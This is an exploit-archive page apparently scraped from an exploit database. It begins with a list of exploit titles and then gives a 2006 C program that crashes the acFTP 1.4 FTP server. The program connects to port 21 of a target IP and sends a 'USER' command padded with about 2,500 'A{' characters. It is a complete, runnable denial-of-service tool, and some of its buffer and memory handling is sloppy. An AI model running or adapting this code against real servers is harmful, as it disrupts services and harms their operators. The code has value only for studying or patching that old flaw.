
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
114 lines
2.4 KiB
C
Executable file
114 lines
2.4 KiB
C
Executable file
/**
|
|
Exploit for : acFTP 1.4 DoS Exploit
|
|
Advisory : http://secunia.com/advisories/19978/
|
|
Coder : Omnipresent
|
|
Email : omnipresent@email.it
|
|
Description : Preddy has discovered a vulnerability in acFTP, which can be exploited by malicious people to cause a DoS (Denial of Service).
|
|
The vulnerability is caused due to an error within the handling of the argument passed to the
|
|
"USER" command. This can be exploited to crash the FTP server via an overly long argument that
|
|
contains certain character sequences.
|
|
|
|
The vulnerability has been confirmed in version 1.4. Other versions may also be affected.
|
|
|
|
Date: 05/06/2006 - M/D/Y
|
|
**/
|
|
|
|
#ifdef _WIN32
|
|
#include <winsock2.h>
|
|
|
|
SOCKET sock;
|
|
WSADATA wsaData;
|
|
WORD wVersionRequested;
|
|
|
|
#else
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
#define INVALID_SOCKET -1
|
|
#define SOCKET_ERROR -1
|
|
|
|
int sock;
|
|
#endif
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
char buf[2505];
|
|
struct sockaddr_in saddr;
|
|
unsigned long ip;
|
|
int i;
|
|
|
|
if (argc != 2)
|
|
{
|
|
printf("acFTP 1.4 USER Command - DoS Exploit!\r\n");
|
|
printf("Coded by OmniPresent - omnipresent@email.it\r\n");
|
|
printf("acFTP 1.4 - DoS Exploit!rn");
|
|
printf("Advisory: http://secunia.com/advisories/19978/");
|
|
printf("%s <IP_Address>\r\n", argv[0]);
|
|
|
|
exit(1);
|
|
}
|
|
|
|
ip = inet_addr(argv[1]);
|
|
|
|
#ifdef _WIN32
|
|
wVersionRequested = MAKEWORD(2, 2);
|
|
if (WSAStartup(wVersionRequested, &wsaData) < 0)
|
|
{
|
|
printf("Unable to initialise Winsockr\n");
|
|
exit(1);
|
|
}
|
|
#endif
|
|
|
|
|
|
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
|
|
{
|
|
printf("Socket Error \n");
|
|
exit(1);
|
|
}
|
|
|
|
|
|
memset(&saddr,'0', sizeof(saddr));
|
|
saddr.sin_port = htons(21); //21 is the default port of acFTP service (change it if necessary)
|
|
saddr.sin_family = AF_INET;
|
|
memcpy(&saddr.sin_addr, (unsigned long *)&ip, sizeof((unsigned long *)&ip));
|
|
|
|
if (connect(sock, (struct sockaddr *)&saddr, sizeof(saddr)) == SOCKET_ERROR)
|
|
{
|
|
printf("Connect Error \n");
|
|
exit(1);
|
|
}
|
|
|
|
sleep(2);
|
|
|
|
buf[0]='U';
|
|
buf[1]='S';
|
|
buf[2]='E';
|
|
buf[3]='R';
|
|
buf[4]=' ';
|
|
i = 5;
|
|
while (i < 2500) {
|
|
|
|
buf[i] = 'A';
|
|
i++;
|
|
buf[i] = '{';
|
|
i++;
|
|
}
|
|
strcat(buf, "\r\n");
|
|
|
|
printf("%s\n",buf);
|
|
|
|
|
|
send(sock, buf, sizeof(buf), 0);
|
|
|
|
#ifdef _WIN32
|
|
closesocket(sock);
|
|
#else
|
|
close(sock);
|
|
#endif
|
|
printf("DoS Attack Done!\n");
|
|
}
|
|
|
|
// milw0rm.com [2006-05-06]
|